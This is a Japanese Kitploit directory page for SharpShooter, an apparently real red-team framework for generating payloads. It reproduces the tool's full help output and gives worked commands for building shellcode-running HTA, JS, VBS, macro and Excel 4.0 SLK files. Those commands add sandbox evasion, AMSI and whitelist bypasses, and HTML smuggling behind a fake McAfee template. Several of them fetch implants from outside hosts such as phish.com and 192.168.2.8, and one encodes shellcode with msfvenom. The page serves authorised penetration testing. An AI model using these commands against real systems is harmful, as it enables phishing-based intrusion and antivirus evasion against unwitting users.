Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
SharpShooter — ペイロード生成フレームワーク | Kitploit
ツール/GitHubGitHub/mdsecactivebreach/sharpshooter
フィッシングツール特権昇格ペイロード生成エクスプロイトIDS/IPS回避横移動シェルコードウェブアプリケーション悪用コマンド&コントロールレッドチーミングペイロード開発DNS分析
2.0k3682年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubmdsecactivebreach/sharpshooter

SharpShooter

ペイロード生成フレームワーク

リポジトリを見る
root@kitploit:~
   _____ __                    _____ __                __           
  / ___// /_  ____ __________ / ___// /_  ____  ____  / /____  _____
  \__ \/ __ \/ __ `/ ___/ __ \\__ \/ __ \/ __ \/ __ \/ __/ _ \/ ___/
 ___/ / / / / /_/ / /  / /_/ /__/ / / / / /_/ / /_/ / /_/  __/ /    
/____/_/ /_/\__,_/_/  / .___/____/_/ /_/\____/\____/\__/\___/_/     
                     /_/                                            

説明

SharpShooterは、任意のCSharpソースコードを取得・実行するためのペイロード作成フレームワークです。SharpShooterはHTA、JS、VBS、WSFなど様々な形式のペイロードを作成できます。James Forshaw氏のDotNetToJavaScriptツールを利用して、SharpShooter DotNetシリアル化オブジェクトからメソッドを呼び出します。ペイロードはWeb配信またはDNS配信(またはその両方)で取得可能で、MDSec ActiveBreach PowerDNSプロジェクトと互換性があります。また、同じスクリプト形式で、シェルコード実行を組み込んだステージレスペイロードも生成できます。

SharpShooterのペイロードはランダムキーでRC4暗号化され、ある程度のアンチウイルス回避機能を提供します。また、サンドボックス検出や環境キーイングを統合し、検出を回避する機能も含まれています。

SharpShooterには、ステージドおよびステージレスペイロードでシェルコードを実行するための定義済みCSharpテンプレートが含まれていますが、C#のCodeDomプロバイダーにより、任意のCSharpコードをリフレクションを使用してメモリ内でコンパイル・実行することも可能です。

さらに、SharpShooterはDemiguise HTMLスマイグリング技術を用いてペイロードをHTMLファイル内にバンドルする機能を提供します。

SharpShooterは、ほとんどのエンドユーザーWindowsワークステーションに存在する.NET Framework v2、v3、v4を対象としています。

SharpShooter バージョン1.0では、COMステージング、SquiblydooおよびSquiblytwoの実行、XSL実行などの新しい概念が導入されました。この新しい機能を実現するために、--com、--awl、--awlurl のフラグが追加されました。

SharpShooter バージョン2.0では、AMSIバイパスモジュールと、VBAおよびExcel 4マクロ対応ドキュメントの生成サポートが追加されました。

詳細はMDSecのブログ記事を参照してください。

使用方法 - コマンドラインモード:

SharpShooterは高度に設定可能で、さまざまなペイロードタイプ、サンドボックス回避、配信方法、出力タイプをサポートしています。

--help 引数を指定してSharpShooterを実行すると、以下の出力が表示されます。

root@kitploit:~
usage: SharpShooter.py [-h] [--stageless] [--dotnetver <ver>] [--com <com>]
                       [--awl <awl>] [--awlurl <awlurl>] [--payload <format>]
                       [--sandbox <types>] [--amsi <amsi>] [--delivery <type>]
                       [--rawscfile <path>] [--shellcode] [--scfile <path>]
                       [--refs <refs>] [--namespace <ns>] [--entrypoint <ep>]
                       [--web <web>] [--dns <dns>] [--output <output>]
                       [--smuggle] [--template <tpl>]

optional arguments:
  -h, --help          show this help message and exit
  --stageless         Create a stageless payload
  --dotnetver <ver>   Target .NET Version: 2 or 4
  --com <com>         COM Staging Technique: outlook, shellbrowserwin, wmi, wscript, xslremote
  --awl <awl>         Application Whitelist Bypass Technique: wmic, regsvr32
  --awlurl <awlurl>   URL to retrieve XSL/SCT payload
  --payload <format>  Payload type: hta, js, jse, vba, vbe, vbs, wsf
  --sandbox <types>   Anti-sandbox techniques:
                      [1] Key to Domain (e.g. 1=CONTOSO)
                      [2] Ensure Domain Joined
                      [3] Check for Sandbox Artifacts
                      [4] Check for Bad MACs
                      [5] Check for Debugging
  --amsi <amsi>       Use amsi bypass technique: amsienable
  --delivery <type>   Delivery method: web, dns, both
  --rawscfile <path>  Path to raw shellcode file for stageless payloads
  --shellcode         Use built in shellcode execution
  --scfile <path>     Path to shellcode file as CSharp byte array
  --refs <refs>       References required to compile custom CSharp,
                      e.g. mscorlib.dll,System.Windows.Forms.dll
  --namespace <ns>    Namespace for custom CSharp,
                      e.g. Foo.bar
  --entrypoint <ep>   Method to execute,
                      e.g. Main
  --web <web>         URI for web delivery
  --dns <dns>         Domain for DNS delivery
  --output <output>   Name of output file (e.g. maldoc)
  --smuggle           Smuggle file inside HTML
  --template <tpl>    Name of template file (e.g. mcafee)

以下にいくつかの使用例を示します。

ステージレスJavaScript

root@kitploit:~
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

.NET Frameworkバージョン4を対象としたステージレスJavaScriptペイロードを作成します。この例では、出力ディレクトリに foo.js というペイロードを作成します。シェルコードは ./raw.txt ファイルから読み込まれます。ペイロードは、実行をCONTOSOドメインにキーイングし、既知のサンドボックス/VM成果物をチェックすることで、サンドボックス回避を試みます。

ステージレスHTA

root@kitploit:~
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

.NET Frameworkバージョン2/3を対象としたステージレスHTAペイロードを作成します。この例では、出力ディレクトリに foo.hta というペイロードを作成します。シェルコードは ./raw.txt ファイルから読み込まれます。ペイロードは、既知の仮想MACアドレスをチェックすることでサンドボックス回避を試みます。また、HTMLスマイグリングペイロード(foo.html)も出力ディレクトリに生成されます。このペイロードは、例としてMcAfeeウイルススキャンテンプレートを使用します。

ステージドVBS

root@kitploit:~
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

この例では、Web配信とDNS配信の両方を行うステージドVBSペイロードを作成します。ペイロードは、csharpsc.txt ファイル内のCSharpバイト配列として指定されたシェルコードを実行するGZip圧縮CSharpファイルを取得しようとします。使用されるCSharpファイルは、SharpShooter組み込みのシェルコード実行テンプレートです。ペイロードは出力ディレクトリに foo.payload という名前で作成され、http://www.foo.bar/shellcode.payload でホストされる必要があります。同じファイルが bar.foo ドメインでもPowerDNSを使用してホストされる必要があります。VBSファイルは、実行をCONTOSOドメインにキーイングしようとし、McAfeeウイルススキャンテンプレートを使用してHTMLスマイグリング技術によりHTMLファイルに埋め込まれます。結果のペイロードは出力ディレクトリに foo.html として保存されます。

VBS内のカスタムCSharp

root@kitploit:~
SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee

この例では、http://www.phish.com/implant.payload からペイロードを取得するWeb配信を行うステージドJSペイロードの作成方法を示します。生成されたペイロードはサンドボックス回避を試み、DLL参照として mscorlib.dll と System.Windows.Forms.dll を必要とする取得したペイロードのコンパイルを試みます。コンパイルが成功すると、MDSec.SharpShooter 名前空間の Main メソッドが実行されます。

Squiblytwo VBSの作成

root@kitploit:~
SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl

この例では、Outlook.CreateObject() COMメソッドをプリミティブとして使用し、wmic.exe を実行してホストされたスタイルシートを実行するVBSスマイグリングCOMステージャーを作成します。--awl パラメーターはデフォルトで wmic が使用されます。

XSL HTAの作成

root@kitploit:~
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl

この例では、XMLDOM COMインターフェースを使用してホストされたスタイルシートを取得・実行するHTAスマイグリングファイルを作成します。

VBAマクロの作成

root@kitploit:~
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl

この例では、XMLDOM COMインターフェースを使用してホストされたスタイルシートを取得・実行するVBAマクロファイルを作成します。

Excel 4.0 SLKマクロ有効ドキュメントの作成

root@kitploit:~
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee

この例では、指定されたシェルコードを実行し、HTMLでラップするExcel 4.0 SLKファイルを作成します。シェルコードにヌルバイトを含めることはできません。ヒント:

root@kitploit:~
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'

著者とクレジット

著者: Dominic Chell, MDSec ActiveBreach @domchell and @mdseclabs

クレジット:

  • @tiraniddo: DotNetToJScript の James Forshaw氏
  • @Arno0x0x: EmbedInHTML の開発者
  • @buffaloverflow: Demiguise の Rich Warren氏
  • @arvanaghi and @ChrisTruncer: CheckPlease の Brandon Arvanaghi氏とChris Truncer氏
  • @subTee: SquiblydooおよびSquiblytwo技術のドキュメント
  • @StanHacked: Excel 4.0技術とコード例
ツールをダウンロード